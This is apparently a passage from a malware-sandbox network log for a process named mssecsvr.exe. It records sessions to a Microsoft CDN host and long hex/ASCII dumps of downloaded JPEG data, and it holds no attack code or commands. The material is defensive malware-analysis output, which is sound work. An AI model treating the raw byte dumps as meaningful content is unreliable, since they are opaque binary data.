8e c2 Data Ascii: mZP,1Gmwb,#2ig_]+Tgt+}^9TpHeDIF:UL3+$KhGrnr&fe$7SH>j>8yvOB 22qyqoww?=edG4$1q?IFebc",6=N03hFM5m/b
2022-07-20 13:44:18 UTC	6274	IN	Data Raw: 3c 4f 68 dd fa 0b 37 92 66 f2 e4 2d 93 0b 22 ea d2 49 e8 bd 6c 79 fc 93 47 72 ba 96 34 6d 37 1d b2 bd b5 d7 c4 ec 3f b4 8d 26 d1 eb 7d 9d 29 86 79 b0 90 95 95 89 98 6e 82 37 45 bd 97 17 f1 97 cc ab 0b db 64 2e 0d 26 f3 4a 3a 86 db da 28 b5 66 d2 42 14 0b d4 a3 93 71 81 fa 2b 41 9d f2 fc 59 6c 65 c7 22 27 6b 9d 37 f5 6c df 85 df 8b 88 ff 00 79 b9 45 62 72 a4 e4 a8 5d 02 cf 3b 01 66 61 b2 3d 9e b7 73 b3 40 b0 c8 1e df f5 a2 13 1d 05 b7 ab 37 8c ef 01 d4 c0 e8 3e 51 ba de 65 1b 8f 99 1c 6a cb 16 c6 6b 8f a2 de 65 35 51 8d 8f 03 a6 74 9c 5e 21 db 18 3d 8f 06 8f 07 f1 53 f8 74 8b 99 08 f1 f2 5a 28 c1 55 4d 96 6e d5 59 5b c5 b7 79 2a 43 07 d1 86 8a 76 f9 a8 b9 f3 99 f6 dc 96 b8 e9 db b7 f7 2a 03 98 3a b5 ec 2e 2d b4 0d 36 f1 76 29 77 14 96 da 6a 70 2b cc eb 1a Data Ascii: <Oh7f-"IlyGr4m7?&})yn7Ed.&J:(fBq+AYle"'k7lyEbr];fa=s@7>Qejke5Qt^!=StZ(UMnY[yCv:.-6v)wjp+
2022-07-20 13:44:18 UTC	6290	IN	Data Raw: 36 d1 d0 3c b5 6c 58 fc 47 11 dc 8b 74 d5 78 20 b3 3c bf 4d 85 35 e5 f8 a6 49 cc a3 a0 a7 fc 7d 5f e8 52 a5 90 a8 62 4f 08 a5 c9 21 61 bd 4a 5d 0a ec 35 34 6d 22 de 4a 1f 2c b4 73 b0 52 76 9d 82 88 12 05 f6 97 b1 e9 b5 35 80 21 7d 6a 0b 30 35 24 c8 60 74 f5 79 2a 5a 62 b1 2a ba 5b ae dd 1f 66 8b 7c 0c 56 c5 19 50 cf a9 ef 63 19 5b 3a d0 aa 82 95 75 60 59 32 18 e8 dc 95 27 24 20 37 37 0d 09 3c 46 22 4f 76 fd 55 52 ab 3d 82 82 49 e8 14 f3 2b 97 34 78 a9 9c 1b 72 47 28 47 90 a8 5f d7 aa f9 64 2a 27 53 6e 8d b4 63 ba b4 65 86 f6 3b bf 39 29 e9 dc 48 a2 c7 f4 5e 97 9e 5d 90 8e 62 91 0a 38 17 21 b6 75 6a a3 b1 70 a3 11 5d 94 33 be c1 7a 63 9a dc 5c c1 27 96 c0 fe 4a aa 25 b4 80 0e 85 dd fe aa ae fd d3 ba 0b ee 9b 64 71 a2 69 dc 8a 0b 27 02 24 3b 9b 96 3d eb d5 Data Ascii: 6<lXGtx <M5I}_RbO!aJ]54m"J,sRv5!}j05$`tyZb[f\|VPc[:u`Y2'$ 77<F"OvUR=I+4xrG(G_d*'Snce;9)H^]b8!ujp]3zc\'J%dqi'$;=
2022-07-20 13:44:18 UTC	6294	IN	Data Raw: 4e ee eb 76 28 7e 4e d9 10 93 36 3c cd 10 bd 99 46 d5 7b f8 d1 fd 5d 31 e4 f9 87 e3 72 72 e5 ed 32 b1 fc f7 fe e5 66 f7 0e 3a 2e 15 af 27 dd e3 8e 14 68 d9 2e f8 de 5d d5 dd e4 a5 59 eb 6c a7 d1 b5 10 e9 ae 15 d3 91 a7 ca c4 d7 14 96 6b b7 4b b5 ea d9 50 fc 60 1e 55 04 9f 26 ed 06 c1 6f 42 54 9d 95 6e 53 0e 18 41 d2 dd 3e 8d 2f 78 80 34 5b dd da e3 af a3 f2 0e cd 57 22 6d da 2b 93 77 4a 59 b5 a9 cf ca b0 df 19 dd 86 c5 76 6f b2 a9 55 fc f1 20 c2 e5 d1 62 0e dc c6 e7 f2 2e f7 eb d5 3c bf 17 29 70 c4 81 4f c2 bb 95 91 86 d3 a4 32 b3 7a bf a9 59 ff 00 9a f9 e1 e6 f9 c6 4b 69 48 c6 85 03 e8 a5 c3 03 4b dd 66 0e 49 1b 33 b5 b9 59 3e 1d 14 76 0b 7f e8 a1 b9 2f aa ca 85 ef b4 be 9b 5b cb b9 4d d7 0f e2 79 8c d1 81 bd a4 ff 00 58 a4 e7 9b 33 08 31 96 dc 38 dd 5a Data Ascii: Nv(~N6<F{]1rr2f:.'h.]YlkKP`U&oBTnSA>/x4[W"m+wJYvoU b.<)pO2zYKiHKfI3Y>v/[MyX318Z
2022-07-20 13:44:18 UTC	6310	IN	Data Raw: 97 bb 91 f4 0f f8 53 4e 53 0a 83 c4 7e c8 1d 7d 14 95 32 03 c8 50 1e c9 a2 9e 66 75 11 8b 84 1d 5f b4 d4 12 21 23 1e 1b d1 a3 00 2f b6 98 f3 4c c8 b2 65 8b 85 d9 4f a3 ae f4 b7 09 99 86 ce d5 c5 ab b1 82 c4 5c 6c a9 72 a5 32 64 46 be 26 14 21 44 68 40 d8 a2 bb 2c b5 a2 11 bf db b3 87 09 6d 1a 8d 36 1d 16 f7 95 de 79 93 f1 13 58 74 2e c1 4c 73 31 e3 24 3b 74 af ff 00 0d ea ce c9 3e b9 48 eb bd 04 56 90 87 b6 f2 2e 37 a1 63 8e 87 c4 d3 ac 1e 54 f9 98 de ac 0b ed b8 34 97 22 11 04 dc 37 03 89 16 a5 bd fc 7a 77 69 f7 2f c9 78 55 55 0f 48 a4 19 f1 b9 96 47 fc ff 00 d5 45 09 62 ec 09 dd e5 a1 72 aa 43 0f 4e 26 94 64 48 c1 a5 42 74 c6 d6 1f 67 c3 52 e5 79 d0 44 fc 22 34 ab ec 27 af d3 a1 e5 91 73 1b 41 36 93 bb e4 6f 36 97 cc 8c 84 82 2c 47 55 6b 2c 41 86 27 74 Data Ascii: SNS~}2Pfu_!#/LeO\lr2dF&!Dh@,m6yXt.Ls1$;t>HV.7cT4"7zwi/xUUHGEbrCN&dHBtgRyD"4'sA6o6,GUk,A't
2022-07-20 13:44:18 UTC	6326	IN	Data Raw: 3d 2c 7c 55 95 cc 48 e4 c3 ff 00 70 c9 8e 59 24 61 60 ca 40 89 5a fe fd df 7f d0 4a 28 58 77 72 87 b6 ea 33 c4 aa 79 f7 29 ca 82 34 c0 ed 61 95 57 89 f3 1c 8c c1 64 85 49 f2 a9 28 6d fa 71 d5 f9 1c d3 27 97 a5 f1 8f 08 ca bb c4 76 ac 0b ee ea a4 7c bf 3e 36 ca 8f 8e a3 82 1b 6a 8b ed 1e 1d 5d bf af 4f db 36 14 c1 70 63 0c 24 2e 8a cd b4 c7 ef 17 47 9f bf 56 25 89 51 80 c2 e1 ad 92 f2 54 c7 75 1a 9d 6f 57 7c 9a ad 26 36 56 54 a6 fb a5 47 e6 1c 67 ff 00 a7 5e e5 70 09 39 7e 4b 9e d4 68 92 2f 97 52 97 6a bb 1e 21 cb 70 86 38 b8 3c 36 24 79 ee 35 3e af 42 a3 81 3a e3 62 cd 1f 5c 80 a8 b7 d0 bf fa 94 9b 86 76 7d aa f2 26 ef 06 e4 54 83 26 4a cc 74 c4 e2 5a ac e6 79 c3 99 18 f2 00 00 b4 49 aa de 31 a9 25 fd 3a ce 73 dc 72 23 5c 90 36 03 a1 8f e5 df 8b f6 e9 be Data Ascii: =,\|UHpY$a`@ZJ(Xwr3y)4aWdI(mq'v\|>6j]O6pc$.GV%QTuoW\|&6VTGg^p9~Kh/Rj!p8<6$y5>B:b\v}&T&JtZyI1%:sr#\6
2022-07-20 13:44:18 UTC	6333	IN	Data Raw: 81 3a f6 b1 fa 3b a9 56 a1 01 11 54 9f 0d 69 c9 11 c4 0d 9e 2c 7c b4 36 4c b2 73 29 82 c4 a5 82 ec 45 02 e6 df df ad 37 ca 38 d3 e3 ac e9 32 32 5f 4d b5 02 3c 74 ef ff 00 6f 79 48 85 5f 31 d4 05 ec 27 d2 7d eb d3 ff 00 98 21 2b 14 72 b1 24 eb d3 b4 f7 59 5f 77 47 63 b9 54 bb a2 d2 c2 f6 0a 23 5e 1c 79 ba 7b f2 56 8c 22 ea 31 dd 03 85 7d 5a f9 c7 38 1a 5d 87 46 df fe 34 24 5b b1 96 eb bd 1d cf 56 d2 30 eb bd 0c e8 12 3d de 83 e5 a5 c6 77 17 e5 aa 58 ed b7 83 57 71 c9 e9 14 ff 00 92 fa c7 d2 6c 05 67 a0 24 0a 73 85 95 c1 c2 9e 55 53 ad 63 20 11 d2 59 fd 5a 7e 9b d2 7b 85 24 58 6d 6d d1 f3 a8 e1 01 a4 02 f6 d6 94 63 cf 0f 30 cd 92 51 1a a4 2a 5d 98 f6 99 ec 78 8f a9 fc ff 00 65 16 8f bc a0 27 f9 8f 3d 65 97 85 33 22 c8 d7 65 53 65 2d e8 f9 b4 cf 97 43 f0 d0 Data Ascii: :;VTi,\|6Ls)E7822_M<toyH_1'}!+r$Y_wGcT#^y{V"1}Z8]F4$[V0=wXWqlg$sUSc YZ~{$Xmmc0Q*]xe'=e3"eSe-C
2022-07-20 13:44:18 UTC	6349	IN	Data Raw: b5 12 cc d2 36 47 4f d9 5a a8 44 11 8b c6 34 9b 5b 65 2e 38 92 40 c4 b6 d1 e2 14 e8 c1 bb a8 1b f9 6a 1a 0d a9 36 89 94 f4 cd 9d 77 58 35 17 59 d2 c1 8e 6b 48 39 86 41 5c 66 00 ef 48 74 fd 5e db d2 b8 01 1b 2d 5a 8c be 4c 99 80 32 59 64 1d 17 ec 1f 4b c1 48 25 8e 7c 79 be 1e 75 d0 47 57 ed 79 f4 e8 f1 54 c4 1d 78 9a b5 bb 29 52 44 b2 f1 29 df a1 59 74 b5 74 0d b5 6e 43 2c 24 ec bb 75 7d 15 de 5b 8b 26 6c 82 28 85 dd 8d 87 f4 f3 69 85 82 a6 47 41 56 4b 01 73 4c 39 27 25 7e 69 30 51 d8 be f1 fd 8a d2 73 de 72 22 88 60 e2 1d 30 ae e9 d3 b3 57 8b f9 55 ec f9 62 e4 18 2b 89 17 ff 00 51 22 ed f3 50 f7 bf 89 3d 66 38 a5 f6 b6 da af 7b 00 dc ed c3 ea 46 df b7 4a 8e f9 75 1b 9f e1 2f dd a7 f5 eb 4f f2 b4 46 48 a5 64 d8 d1 90 75 0e 9f c3 fb 1a 2b 61 8b f3 8c 7d 8c Data Ascii: 6GOZD4[e.8@j6wX5YkH9A\fHt^-ZL2YdKH%\|yuGWyTx)RD)YttnC,$u}[&l(iGAVKsL9'%~i0Qsr"`0WUb+Q"P=f8{FJu/OFHdu+a}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	50726	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:17 UTC	240	OUT	GET /cms/api/am/imageFileData/RE4FdpG?ver=453b HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 13:44:17 UTC	289	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4FdpG?ver=453b Last-Modified: Thu, 30 Jun 2022 02:00:03 GMT X-Source-Length: 535147 X-Datacenter: northeu X-ActivityId: 0db03b9f-a955-4ef4-94c2-64aec83f86a7 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 535147 Cache-Control: public, max-age=217204 Expires: Sat, 23 Jul 2022 02:04:21 GMT Date: Wed, 20 Jul 2022 13:44:17 GMT Connection: close
2022-07-20 13:44:17 UTC	289	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 13:44:17 UTC	376	IN	Data Raw: 6e d2 1d 56 0d 32 4b b5 fe d0 9e 36 9a 3b 6c 92 e6 35 fb cd 8e c0 7b d5 7f 11 6b 91 78 77 c3 fa a6 a9 33 2a 47 67 6f 24 e5 8f b2 92 3f 33 57 6f 30 f4 38 ff 00 87 7f 03 3c 37 f0 e6 e0 df c3 1c ba a6 b8 e3 f7 ba ad f9 df 31 27 ae dc fd d1 f4 af 41 29 9f a8 ae 3b e0 d2 5e bf c3 5d 1a ef 51 b9 6b 9b db d8 da fa 59 24 3c 8f 31 8b 6d e7 a0 00 e0 57 51 67 ac 58 6a 37 37 10 5a 5f db dc cf 6f b7 ce 8e 19 55 9a 2c f4 dc 01 38 cd 52 f2 24 e6 be 23 f8 ea cb e1 ee 82 35 1b c9 15 37 b1 48 f7 77 20 67 f1 af 94 bc 61 fb 4b 5f ea 97 12 0b 68 e5 96 33 9c 16 93 cb 5c 7b 01 cf e7 5f 4a fc 60 f0 15 bf 8e ec e2 b7 bf 8d a4 b7 88 16 89 97 f8 1c 8e 4d 7c b9 e2 3f d9 c3 5a b2 bc 76 d3 a5 5b b8 09 c8 dd d6 b8 b1 1e d7 ec 6c 34 74 9f 0c be 38 4b 25 f2 2c 53 b5 a5 d9 e4 db 4c db 92 Data Ascii: nV2K6;l5{kxw3*Ggo$?3Wo08<71'A);^]QkY$<1mWQgXj77Z_oU,8R$#57Hw gaK_h3\{_J`M\|?Zv[l4t8K%,SL
2022-07-20 13:44:17 UTC	392	IN	Data Raw: 52 71 5d 19 d3 59 a4 a3 2e e8 f4 5f 8e df 06 24 f8 6b ae 5b df d8 4f fd a3 e1 9d 52 31 71 a6 ea 00 64 4a 87 0c 03 76 0c 01 19 f5 eb 5c e7 c3 43 67 a8 f8 8b 4b d2 b5 8b c3 67 a6 5c dd 22 cb 33 1e 13 3c 0d c7 d3 b7 b5 7d 21 e0 df 81 3e 22 f8 91 f0 f3 c3 87 5f f1 6b 47 a1 9b 52 f6 7a 5f 91 93 02 92 76 92 78 c9 ef d7 a7 15 f3 c7 c5 0f 84 fa ef c2 7d 61 2d 35 78 37 c7 26 e3 6f 75 11 cc 33 a6 7a 83 eb ea 0f 22 ba e7 07 1d 5a d0 e7 d1 6c 7e 81 f8 7b e1 df 86 fc 37 6d 1d bd 96 91 6a 42 80 3c d9 23 56 2d c7 5c f4 c1 f6 a6 f8 bb 4f f0 f6 89 a4 cb a8 5d e8 76 93 c5 1f de 2b 6a 0e 3d 0e 00 cd 79 c7 ec c3 f1 8e cb c7 be 18 b6 f0 f4 fb a2 d7 74 9b 65 4c 33 16 fb 4c 4b c7 98 09 fe 21 c6 47 e3 5e e4 63 49 e3 31 ba 07 8d b8 60 79 07 f0 ae c8 f2 ca 3a 13 b3 d7 63 e2 c9 74 Data Ascii: Rq]Y._$k[OR1qdJv\CgKg\"3<}!>"_kGRz_vx}a-5x7&ou3z"Zl~{7mjB<#V-\O]v+j=yteL3LK!G^cI1`y:ct
2022-07-20 13:44:17 UTC	460	IN	Data Raw: 56 6c 71 7a 9b 3a 84 ad e5 a4 70 c4 b0 29 fb dc f2 dc e7 9a cd 58 4e e0 5a 40 b8 1c 9a a4 de 71 7c 13 bb 82 79 3d a9 55 66 7d e0 67 6e 06 33 cf 4a 23 4d 22 5f bc ee 6d 45 e2 39 34 eb 6f 22 02 76 f4 c9 3d bd 05 4d 1f 8e 75 58 f4 db 8d 2e 3b d9 a2 b0 b9 7d d3 45 1b 60 39 03 1c f7 3f 4e 95 86 b0 ba a7 21 b3 c7 27 a1 a8 f6 1f b9 9f af 1e 95 b2 56 d5 14 db b1 b5 a4 6a 56 fa 65 cc 57 60 97 ba 89 d6 44 59 06 54 95 60 46 47 e1 d2 b5 35 7d 6f c4 3f 15 7c 50 25 99 ee 75 9d 4e e5 b6 a7 19 c7 fb 2a a3 85 02 b9 89 6c 64 b6 91 12 48 a4 8d f0 09 59 14 83 82 38 eb da be 84 f8 03 f1 8f c3 1f 0f f4 d8 34 dd 57 46 8e da 7d ec c7 58 85 43 c9 f3 1e 03 0e a0 01 c6 45 38 2b bb 36 1e 47 43 f0 d3 f6 48 8a 4b 38 af 3c 59 29 17 12 b2 37 d8 e2 3c a2 83 92 ac 7d 4f e9 5c 4f c7 cd 56 Data Ascii: Vlqz:p)XNZ@q\|y=Uf}gn3J#M"_mE94o"v=MuX.;}E`9?N!'VjVeW`DYT`FG5}o?\|P%uN*ldHY84WF}XCE8+6GCHK8<Y)7<}O\OV
2022-07-20 13:44:17 UTC	540	IN	Data Raw: eb b3 6a 77 c9 7c 57 9f 91 67 65 50 07 6c 76 f6 ae 06 44 57 bf b8 70 ea 56 38 a3 c0 1f c4 42 f6 1d f2 6b c1 ad 52 7c ce ee e7 57 c3 1f 75 1d 16 a5 e1 fb ed 43 c1 32 f8 bc 4f 6c f6 16 9a 8a d9 08 7c d1 e7 a3 14 dc 49 5e bb 4f af a8 ab de 13 f8 9d ac 7c 2f f1 6d cd fe 83 71 11 79 a1 55 9e de 61 bd 26 8d 94 1c 15 e3 d7 82 39 15 cc 69 b2 f9 3e 1d 09 20 25 2e e6 68 9f b7 24 0c 7f e3 c7 35 da 7e cf 7f 0b ac 3e 2e fc 42 d6 34 ed 52 f2 4b 7f ec ed 31 fc b9 a2 20 1f 31 18 28 6d a7 86 50 0f 3c 8a ca 8c 6f 3b c7 4b 19 f3 27 1d 4b de 26 bd 7d 2b c1 5a 76 9c 27 25 23 46 65 27 24 21 66 2e c1 47 61 96 af 28 d4 2e f7 6e 72 72 06 49 c7 26 bb f9 31 aa 5a dc d8 bc 9b d2 3d e8 93 1e fb 58 8f c0 1c 57 9e 43 13 79 d7 0e 39 b7 8c 31 90 f5 20 0f e2 1e be 95 e7 51 6e 52 6a 4f 54 Data Ascii: jw\|WgePlvDWpV8BkR\|WuC2Ol\|I^O\|/mqyUa&9i> %.h$5~>.B4RK1 1(mP<o;K'K&}+Zv'%#Fe'$!f.Ga(.nrrI&1Z=XWCy91 QnRjOT
2022-07-20 13:44:17 UTC	580	IN	Data Raw: 6a 48 e8 7c 1d 64 6f f5 2b 48 41 f3 16 39 56 47 8f 38 50 80 e4 93 ed ea 6b e8 9f d9 b2 03 e3 cb 8f 18 68 a2 f0 1b 88 95 6f 22 b0 20 14 99 03 30 91 47 71 c3 03 5e 79 fb 31 69 30 5d 78 9f 50 bb ba f2 cc 46 df ec b0 ac b8 da f2 49 d5 4e 7b 95 07 02 bd 01 bc 39 79 f0 5f e2 75 9f 8c b4 48 da 6b 38 0e 6f 21 c6 dd d1 b1 c3 c7 81 d7 0b d0 fa 8a ca 53 a7 2a 8e 9c ce da 50 9c 29 aa b1 3d 83 f6 78 f8 8e b6 fa 95 cf c3 9d 4b 09 73 66 5e 4d 2e 62 dc cb 19 3b 9a 26 ff 00 69 7b 0f 4e 29 df b5 de a0 f6 fe 0d d3 2c 17 fe 5a cb 24 cc 3d 76 a8 51 ff 00 a1 56 2f ed 1f a3 e8 76 30 e8 ff 00 10 f4 88 f7 9d 44 2f d9 6f 2d 09 04 4c 57 e5 21 94 f0 71 c9 1e a0 d7 85 6a 9f 10 3c 47 e2 df 05 db dc f8 9e fe 5d 45 ed cb db db b4 98 dc 10 30 dd 93 fc 44 b7 52 6b 77 51 a8 b8 33 2e 45 cd Data Ascii: jH\|do+HA9VG8Pkho" 0Gq^y1i0]xPFIN{9y_uHk8o!S*P)=xKsf^M.b;&i{N),Z$=vQV/v0D/o-LW!qj<G]E0DRkwQ3.E
2022-07-20 13:44:17 UTC	635	IN	Data Raw: c3 38 f2 89 2c a4 9c 6c 60 47 de ee 31 91 cd 79 ce b9 ac 2e a5 7c ee b1 ec 07 2a 73 fe 15 2d d6 ad 2e a0 c3 79 f9 13 8d ab c0 27 18 27 f1 ac 4b a9 98 49 91 dc 82 33 c8 ae 9a 34 75 72 96 ec ca a5 4e 64 92 15 82 33 73 18 df 8e a0 9f a5 31 66 58 dc 6e 4c 9e a4 03 4c 59 4f 19 e9 ff 00 d7 a6 b3 6e 60 4f de ec 4d 76 5b b9 ce 7b ee 91 e2 5b 55 f8 0f a6 68 d6 d7 b6 ee d7 5a b4 b3 de 5a c4 71 2e c5 45 f2 c4 83 ae 0b 12 47 6e 2b c9 bc 4b 23 8f 22 53 d6 39 01 e9 c0 04 e3 f0 ac ad 22 67 b7 be 0b 13 9c 49 94 6c 7a 1a e9 14 b4 71 e2 4f 9d 58 60 ee c7 f5 ae 3a b2 f6 75 13 e8 74 aa 97 56 31 9e e8 4e bc b8 e9 f8 e6 aa 3b 30 60 7a 9c 83 cf 7a d8 7d 2e de fd 49 88 79 12 81 c1 1d 0f d4 56 54 f6 b2 5b cc 63 95 3a 1e dd 31 ed 57 4e 4a 5b 13 af 53 47 45 95 05 ce 24 c3 6e 04 1f Data Ascii: 8,l`G1y.\|*s-.y''KI34urNd3s1fXnLLYOn`OMv[{[UhZZq.EGn+K#"S9"gIlzqOX`:utV1N;0`zz}.IyVT[c:1WNJ[SGE$n
2022-07-20 13:44:17 UTC	715	IN	Data Raw: eb db e6 aa bf d9 f7 17 5e 64 e9 1c 8f 6d bb 68 69 07 04 8f 43 de bb 4f 83 9e 3c b2 f0 2f 8e 2d 2f b5 6d 2e 1d 67 49 70 d6 f7 56 77 11 86 dd 13 0d ac cb 9e 8c 3a 83 53 bb d1 9a c7 47 ef 1a 5f 07 7c 15 e0 8f 17 ea b7 9a 67 89 7c 47 26 81 70 eb e5 d9 c8 d1 66 33 31 27 69 76 cf c8 80 e3 9c 53 75 eb 3d 6b e2 1f c4 0d 2f 40 9d 2d 20 d4 3c e8 74 7f f4 38 c0 87 11 e2 30 e0 0e 0e 40 dc 5b bf 26 b5 be 38 fc 17 b8 f0 96 b7 67 ad e8 07 fb 47 c1 7a bb 09 b4 fd 4a 1f 98 04 6e 7c a9 08 e8 cb c8 e7 ad 64 fc 25 f1 d4 3e 15 f1 fe 8f af 4b 6f f6 88 b4 bb 8d d2 47 29 e0 c6 4e 32 3f da 1d 46 69 b7 ca d2 68 d6 c8 fa db e1 7e a1 ab df f8 4b c4 1f 07 f5 59 63 fe df d0 ee 1b 4f 82 ea 45 c2 cb 6a 72 d1 c8 a0 f5 c7 63 e8 45 70 bf 03 52 fb 4b fd a4 34 ad 3b 57 70 f7 16 76 17 f6 51 Data Ascii: ^dmhiCO</-/m.gIpVw:SG_\|g\|G&pf31'ivSu=k/@- <t80@[&8gGzJn\|d%>KoG)N2?Fih~KYcOEjrcEpRK4;WpvQ
2022-07-20 13:44:17 UTC	771	IN	Data Raw: 0c c0 3b 63 f8 54 00 48 1d 73 cd 61 fe d4 fe 1a 8e 0f 17 69 7a 6e 9d 6f e4 69 da 46 95 0d ad b2 85 c0 0a 09 66 3e e4 93 92 7d 6b a6 b4 14 a7 2a 97 d1 19 be 67 b1 bb f0 17 e3 b6 a5 26 b1 67 e1 df 10 5e 3e a1 6b 74 c2 2b 7b a9 8e 64 86 43 f7 54 b7 56 53 d3 9e 95 f4 c4 ca 46 51 80 23 a1 04 03 cf d0 d7 e7 7f 84 bc f8 7c 41 a6 01 9f 35 6e e2 da 07 a8 71 8a fd 18 b8 5c 5c 38 3f e4 d7 66 16 a3 9c 5a 7d 09 d4 f0 0f da 58 e9 3f 66 d3 b4 d4 d3 ad 85 f9 8d ae 1e e5 63 0a c9 18 38 55 18 03 92 dc e7 da 8a a5 fb 49 42 f0 f8 aa ca 73 b8 43 71 a7 98 d0 8f 55 62 48 fd 68 af 23 18 df b6 67 54 52 e5 47 a3 fc 78 fd 9d fc 51 aa 68 62 e3 44 f1 0d c6 b3 a6 e9 51 39 b5 d2 6f fe 69 a0 8c 8f 99 63 7f e3 00 0e 01 e7 15 e6 1e 19 f8 37 e0 bf 88 ff 00 04 35 9f 17 d9 5d df 69 9e 22 d0 Data Ascii: ;cTHsaiznoiFf>}k*g&g^>kt+{dCTVSFQ#\|A5nq\\8?fZ}X?fc8UIBsCqUbHh#gTRGxQhbDQ9oic75]i"
2022-07-20 13:44:17 UTC	842	IN	Data Raw: 38 ec 32 0d 74 16 5f b4 a4 de 13 d4 23 d3 fe 26 f8 52 fb c1 57 45 b0 9a 8c 41 ae 2c 65 3e a1 80 24 0f ce b8 5b 5d 4a cf e0 bf ed 15 6d af 69 d7 b6 b7 1f 0e fc 7f f2 ad d5 ac 81 a0 8a e0 e0 9c 91 c2 90 c7 38 3d 98 d3 ba bd c0 fa 9c 2f e9 5c 47 c6 1f 86 56 bf 16 7c 03 a8 f8 7a e3 e4 b8 71 e7 5a 4b d7 64 ea 0e cf c0 fd d3 ec 6b ba da 55 88 c7 4a a9 ab ee 5d 27 50 64 24 38 b5 94 a9 07 04 10 8d 82 3d 2b 47 b0 7a 9f 0a 7e ce bf 1f 9b e0 75 c6 b7 e1 0f 15 59 dd 9b 08 e7 66 55 8d 47 99 6d 38 21 58 6d 24 7c a7 1c f3 d4 03 5f 62 78 eb c0 da 0f c5 cf 06 be 91 ab c7 f6 8d 3e ee 35 9a 0b 85 1f bc 85 8a 82 92 a1 3d 08 07 91 df a5 7c 53 fb 52 e8 62 39 bc 15 e3 05 8f 9f 10 69 16 f7 17 2c 17 06 59 d1 55 59 9b dc f0 4f af 5a fb 87 c1 9a b4 3a e7 83 f4 2d 4a d9 c4 90 5c d8 Data Ascii: 82t_#&RWEA,e>$[]Jmi8=/\GV\|zqZKdkUJ]'Pd$8=+Gz~uYfUGm8!Xm$\|_bx>5=\|SRb9i,YUYOZ:-J\
2022-07-20 13:44:17 UTC	938	IN	Data Raw: b4 8f 79 65 1e 9f 65 6b b9 2d ad c1 de 55 4f 5d c7 80 cd c7 5c 7d 2b c5 24 d7 6f 75 17 92 18 3c c7 2d 90 a0 64 b0 1d f9 ab fa 6f 83 35 fd 73 63 c7 68 c0 60 e2 69 8a c6 08 1d 72 c7 19 c7 e7 54 e4 ed ef b2 79 9b d6 08 9a ff 00 55 65 49 24 81 e3 11 af 40 eb 9c 03 d3 9f f3 8a e7 ae b5 09 af e4 de e7 cb c0 01 44 7c 01 8f f3 de b7 ee 7e 1c dd c2 88 d3 de 5a ed 6c e4 a9 2d cf b8 1f cc d5 ed 1b c2 fa 76 99 24 72 dc ce 2e 66 50 49 0c 37 27 b6 00 f6 f5 a9 8c a2 b5 dc 87 1a 92 76 7a 1c de 8b e1 ab bd 4a e6 33 1c 4c e1 9c 0d cc 36 ae 4f ab 1c 01 f8 9a f4 e8 6c 23 d0 ec 52 38 ee 6d ee 59 8e 24 f2 70 59 58 f4 50 c4 76 eb c5 32 5d 7a 35 60 91 a4 22 20 08 04 e5 00 c7 a2 8e 2b 32 ec da d8 ae f1 77 14 73 4c 73 b7 d7 b9 39 e7 83 52 e7 cc 69 0a 6a 1a 94 b5 1b a7 b6 de 8b 69 Data Ascii: yeek-UO]\}+$ou<-do5sch`irTyUeI$@D\|~Zl-v$r.fPI7'vzJ3L6Ol#R8mY$pYXPv2]z5`" +2wsLs9Riji
2022-07-20 13:44:17 UTC	993	IN	Data Raw: e6 98 39 eb d6 9d 9a 00 5c 63 3e d4 11 da 8f 6e 94 be a7 a5 00 27 b6 69 08 ca d2 ff 00 0e 0f 4a 56 fb dd 38 34 01 18 fb dc 7e 82 8a 71 1e 9c 0a 28 03 e5 5f 8a 5e 3e d5 3e 27 ea da be b5 3d cc 4f a4 da c8 d6 fa 6c 52 47 b5 04 7b 8e 1f 69 39 24 81 f8 e6 bc af 59 6d 61 b4 5b 88 c5 d8 b6 b5 94 02 ec df 21 9b d0 0e d8 03 f0 ad 3d 63 5d b7 9d 5e d2 d9 e3 b9 5d c3 7c c0 1d 90 a8 18 0a a3 a6 71 c6 6b 9c d7 ee 7e d5 1a 40 f2 4b 2d b8 19 f9 8e d5 ce 3a 2a fa 0f 5a f0 75 94 ae 7a f2 b4 63 64 ce 76 21 15 ba 83 17 ef dc 7d f3 c0 55 1e c0 75 aa fa 96 a1 03 2c a2 df fd 63 00 41 5e 14 1f 7a d0 26 e2 64 0c 1c 24 71 fd d5 6e 09 15 83 74 e0 3e 5f 24 73 c0 f5 cf 42 6b 65 bd ce 59 3d 0a b1 34 41 9d 25 dd e6 1c 9c af 42 7d 4d 2c 69 1c cc 53 60 e3 b8 e3 9e b4 f1 62 64 7f 37 7b Data Ascii: 9\c>n'iJV84~q(_^>>'=OlRG{i9$Yma[!=c]^]\|qk~@K-:*Zuzcdv!}Uu,cA^z&d$qnt>_$sBkeY=4A%B}M,iS`bd7{
